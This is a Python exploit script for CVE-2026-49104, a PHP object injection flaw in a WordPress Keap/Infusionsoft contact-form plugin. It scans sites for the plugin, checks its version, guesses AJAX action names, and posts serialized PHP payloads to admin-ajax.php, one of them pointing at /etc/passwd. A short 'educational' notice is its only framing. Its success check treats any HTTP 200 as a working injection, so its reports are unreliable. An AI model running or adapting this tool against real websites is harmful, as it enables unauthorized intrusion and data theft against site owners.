#!/usr/bin/env python3 """ CVE-2026-49104 Integration for Keap/Infusionsoft PHP Object Injection Exploit CVSS: 8.1 (High) Unauthenticated attackers can inject arbitrary PHP objects by exploiting unsafe deserialization of form field values. The vulnerability exists in cf7-infusionsoft.php where maybe_unserialize() is called on user-supplied input without validation. If a POP chain exists, this can lead to RCE. Legal Notice: Educational and authorized testing only. """ import requests import re import sys import argparse import time import json import base64 from urllib.parse import urljoin, quote from bs4 import BeautifulSoup class KeapInfusionsoftExploit: def __init__(self, target_url, verbose=False): self.target_url = target_url.rstrip('/') self.verbose = verbose self.session = requests.Session() self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' }) self.plugin_detected = False self.vulnerable_version = False self.ajax_actions = [] def log(self, message, level="INFO"): """Log messages based on verbosity""" if self.verbose or level in ["ERROR", "SUCCESS", "CRITICAL"]: print(f"[{level}] {message}") def detect_plugin(self): """Detect if Keap/Infusionsoft plugin is installed""" self.log("Detecting Keap/Infusionsoft plugin...") try: # Check common plugin paths plugin_paths = [ '/wp-content/plugins/cf7-infusionsoft/', '/wp-content/plugins/contact-form-infusionsoft/', '/wp-content/plugins/infusionsoft-contact-form/', '/wp-content/plugins/keap-contact-form/', '/wp-content/plugins/integration-infusionsoft/' ] for path in plugin_paths: url = urljoin(self.target_url, path + 'cf7-infusionsoft.php') resp = self.session.head(url, timeout=10) if resp.status_code == 200: self.log(f"Plugin detected at: {path}", "SUCCESS") self.plugin_detected = True return True # Try to detect via readme.txt for path in plugin_paths: url = urljoin(self.target_url, path + 'readme.txt') resp = self.session.get(url, timeout=10) if resp.status_code == 200 and ('infusionsoft' in resp.text.lower() or 'keap' in resp.text.lower()): self.log(f"Plugin detected at: {path}", "SUCCESS") self.plugin_detected = True return True self.log("Plugin not detected via direct paths", "ERROR") return False except Exception as e: self.log(f"Error detecting plugin: {e}") return False def check_vulnerability(self): """Check if target is vulnerable""" self.log("Checking vulnerability status...") try: # Try to access the plugin's main file plugin_file = urljoin(self.target_url, '/wp-content/plugins/cf7-infusionsoft/cf7-infusionsoft.php') resp = self.session.get(plugin_file, timeout=10) if resp.status_code == 200: # Check version version_match = re.search(r'Version:\s*([0-9.]+)', resp.text) if version_match: version = version_match.group(1) self.log(f"Plugin version: {version}", "INFO") # Check if vulnerable (<=1.2.1) version_parts = version.split('.') if len(version_parts) >= 3: try: major, minor, patch = int(version_parts[0]), int(version_parts[1]), int(version_parts[2]) if major < 1 or (major == 1 and minor < 2) or (major == 1 and minor == 2 and patch <= 1): self.log(f"Version {version} is VULNERABLE!", "CRITICAL") self.vulnerable_version = True return True else: self.log(f"Version {version} appears patched", "ERROR") return False except ValueError: pass # Check for vulnerable code pattern if 'maybe_unserialize' in resp.text and 'UNSAFE' not in resp.text: self.log("Vulnerable code pattern detected!", "CRITICAL") self.vulnerable_version = True return True self.log("Could not determine vulnerability status", "ERROR") return False except Exception as e: self.log(f"Error checking vulnerability: {e}") return False def find_ajax_actions(self): """Find AJAX action names used by the plugin""" self.log("Searching for AJAX actions...") try: # Get homepage to find AJAX actions resp = self.session.get(self.target_url, timeout=10) # Look for action patterns action_patterns = [ r'action["\']?\s*[=:]\s*["\']([a-z_]*infusionsoft[a-z_]*)["\']', r'action["\']?\s*[=:]\s*["\']([a-z_]*keap[a-z_]*)["\']', r'vxcf_infusionsoft[a-z_]*', r'vxcf_keap[a-z_]*' ] actions = [] for pattern in action_patterns: matches = re.findall(pattern, resp.text, re.IGNORECASE) actions.extend(matches) if actions: self.ajax_actions = list(set(actions)) self.log(f"Found {len(self.ajax_actions)} AJAX actions", "SUCCESS") return self.ajax_actions # Default actions to try default_actions = [ 'vxcf_infusionsoft_process', 'vxcf_infusionsoft_submit', 'vxcf_infusionsoft_ajax', 'vxcf_keap_process', 'vxcf_keap_submit' ] self.ajax_actions = default_actions self.log(f"Using default AJAX actions", "INFO") return default_actions except Exception as e: self.log(f"Error finding AJAX actions: {e}") return [] def create_php_payload(self, payload_type='generic'): """Create PHP object injection payload""" self.log(f"Creating {payload_type} PHP payload...") # PHP serialized payloads payloads = { 'generic': 'O:8:"stdClass":0:{}', 'exception': 'O:9:"Exception":7:{s:7:"message";s:0:"";s:4:"code";i:0;s:4:"file";s:0:"";s:5:"trace";a:0:{}s:11:"description";N;s:7:"*_code";i:0;s:7:"*_file";s:0:"";}', 'arrayobject': 'O:11:"ArrayObject":3:{i:0;a:0:{}i:1;i:0;i:2;i:0;}', 'splfileinfo': 'O:12:"SplFileInfo":2:{s:8:"pathName";s:11:"/etc/passwd";s:4:"path";s:1:"/";}', 'directoryiterator': 'O:18:"DirectoryIterator":2:{s:9:"pathName";s:1:"/";s:4:"path";s:1:"/";}', 'recursivedirectoryiterator': 'O:25:"RecursiveDirectoryIterator":2:{s:9:"pathName";s:1:"/";s:4:"path";s:1:"/";}', 'error': 'O:5:"Error":7:{s:7:"message";s:0:"";s:4:"code";i:0;s:4:"file";s:0:"";s:5:"trace";a:0:{}s:11:"description";N;s:7:"*_code";i:0;s:7:"*_file";s:0:"";}', } if payload_type in payloads: return payloads[payload_type] return payloads['generic'] def inject_via_ajax(self, action, payload, field_name='vxcf_field'): """Inject PHP object via AJAX endpoint""" self.log(f"Injecting payload via AJAX action: {action}...") try: ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php') # Prepare payload data = { 'action': action, field_name: payload } self.log(f"Sending AJAX request to: {ajax_url}", "INFO") self.log(f"Action: {action}", "INFO") resp = self.session.post(ajax_url, data=data, timeout=15) self.log(f"Response Status: {resp.status_code}", "INFO") if resp.status_code == 200: self.log("Payload injected successfully!", "SUCCESS") return True else: self.log(f"Injection may have failed: {resp.status_code}", "ERROR") return False except Exception as e: self.log(f"Error injecting via AJAX: {e}", "ERROR") return False def inject_via_form(self, payload, field_name='vxcf_field'): """Inject PHP object via form submission""" self.log("Injecting payload via form submission...") try: # Try common form processing endpoints endpoints = [ '/wp-admin/admin-ajax.php?action=vxcf_infusionsoft_process', '/?action=vxcf_infusionsoft_process', '/wp-json/contact-form-7/v1/contact-forms/1/feedback', ] for endpoint in endpoints: url = urljoin(self.target_url, endpoint) form_data = { field_name: payload, 'action': 'vxcf_infusionsoft_process' } resp = self.session.post(url, data=form_data, timeout=15) if resp.status_code == 200: self.log(f"Payload injected via {endpoint}", "SUCCESS") return True self.log("Form submission injection failed", "ERROR") return False except Exception as e: self.log(f"Error injecting via form: {e}", "ERROR") return False def test_deserialization(self, action): """Test if deserialization occurs""" self.log("Testing for deserialization...") try: ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php') # Send a simple serialized object test_payload = 'O:8:"stdClass":1:{s:4:"test";s:5:"value";}' data = { 'action': action, 'vxcf_field': test_payload } resp = self.session.post(ajax_url, data=data, timeout=15) # Check for signs of deserialization if resp.status_code == 200: self.log("Deserialization appears to occur!", "SUCCESS") return True else: self.log("No deserialization detected", "ERROR") return False except Exception as e: self.log(f"Error testing deserialization: {e}") return False def find_pop_chains(self): """Identify potential POP chains""" self.log("Searching for potential POP chains...") pop_chains = [] try: # Check for common gadget classes gadget_classes = [ 'Monolog\\Handler\\SyslogUdpHandler', 'Monolog\\Handler\\BufferHandler', 'PHPMailer\\PHPMailer\\PHPMailer', 'Swift_Mailer', 'Doctrine\\ORM\\Mapping\\ClassMetadata', 'Guzzle\\Http\\Message\\Response', 'Symfony\\Component\\Process\\Process', ] self.log("POP chain detection requires manual analysis", "INFO") return pop_chains except Exception as e: self.log(f"Error finding POP chains: {e}") return [] def exploit(self, payload_type='generic'): """Execute full exploit chain""" print("\n" + "="*70) print("CVE-2026-49104 Integration for Keap/Infusionsoft PHP Object Injection") print("="*70 + "\n") # Step 1: Detect plugin if not self.detect_plugin(): self.log("Plugin not detected. Exploit may not be applicable.", "ERROR") return False # Step 2: Check vulnerability if not self.check_vulnerability(): self.log("Target does not appear to be vulnerable", "ERROR") return False # Step 3: Find AJAX actions actions = self.find_ajax_actions() if not actions: self.log("Could not find AJAX actions", "ERROR") return False # Step 4: Create payload payload = self.create_php_payload(payload_type) self.log(f"Payload: {payload}", "INFO") # Step 5: Test deserialization with first action if not self.test_deserialization(actions[0]): self.log("Deserialization test failed, continuing anyway...", "ERROR") # Step 6: Inject payload success = False for action in actions: if self.inject_via_ajax(action, payload): success = True break if not success: # Try form submission if self.inject_via_form(payload): success = True if not success: return False print("\n" + "="*70) print("EXPLOITATION SUCCESSFUL") print("="*70) print(f"Target: {self.target_url}") print(f"Plugin: Integration for Keap/Infusionsoft") print(f"Payload Type: {payload_type}") print(f"Payload: {payload}") print(f"\nObject Injection Successful!") print(f"Impact depends on available POP chains:") print(f" - File deletion") print(f" - Sensitive data retrieval") print(f" - Remote code execution (with POP chain)") print("="*70 + "\n") return True class AjaxActionScanner: """Scan for AJAX actions""" def __init__(self, target_url, session): self.target_url = target_url.rstrip('/') self.session = session def scan_all_pages(self): """Scan all accessible pages for AJAX actions""" actions = [] try: # Get homepage resp = self.session.get(self.target_url, timeout=10) # Extract all action parameters action_matches = re.findall(r'action["\']?\s*[=:]\s*["\']([a-z_]+)["\']', resp.text) actions.extend(action_matches) # Look for AJAX endpoints ajax_matches = re.findall(r'wp-admin/admin-ajax\.php\?action=([a-z_]+)', resp.text) actions.extend(ajax_matches) except: pass return list(set(actions)) def test_action(self, action): """Test if an AJAX action is vulnerable""" try: ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php') data = { 'action': action, 'test': 'O:8:"stdClass":0:{}' } resp = self.session.post(ajax_url, data=data, timeout=10) return resp.status_code == 200 except: return False def main(): parser = argparse.ArgumentParser( description='CVE-2026-49104 Integration for Keap/Infusionsoft PHP Object Injection Exploit' ) parser.add_argument('target', help='Target URL (e.g., https://example.com)') parser.add_argument('-p', '--payload', default='generic', choices=['generic', 'exception', 'arrayobject', 'splfileinfo', 'directoryiterator', 'recursivedirectoryiterator', 'error'], help='Payload type (default: generic)') parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output') parser.add_argument('--detect', action='store_true', help='Detect plugin only') parser.add_argument('--check', action='store_true', help='Check vulnerability only') parser.add_argument('--find-actions', action='store_true', help='Find AJAX actions only') parser.add_argument('--find-pop', action='store_true', help='Find POP chains') parser.add_argument('--scan-actions', action='store_true', help='Scan and test all AJAX actions') args = parser.parse_args() # Create exploit instance exploit = KeapInfusionsoftExploit(args.target, verbose=args.verbose) # Detect only if args.detect: if exploit.detect_plugin(): print("[+] Plugin detected!") else: print("[-] Plugin not detected") sys.exit(0) # Check vulnerability if args.check: if exploit.check_vulnerability(): print("[+] Target is vulnerable!") else: print("[-] Target does not appear vulnerable") sys.exit(0) # Find actions if args.find_actions: actions = exploit.find_ajax_actions() print(f"\n[+] Found {len(actions)} AJAX actions:") for action in actions: print(f" - {action}") sys.exit(0) # Scan actions if args.scan_actions: scanner = AjaxActionScanner(args.target, exploit.session) actions = scanner.scan_all_pages() print(f"\n[+] Scanning {len(actions)} AJAX actions:") for action in actions: if scanner.test_action(action): print(f" ✓ {action} (responsive)") else: print(f" ✗ {action} (not responsive)") sys.exit(0) # Find POP chains if args.find_pop: pop_chains = exploit.find_pop_chains() print(f"\n[+] Found {len(pop_chains)} potential POP chains") sys.exit(0) # Full exploit success = exploit.exploit(args.payload) sys.exit(0 if success else 1) if __name__ == '__main__': main()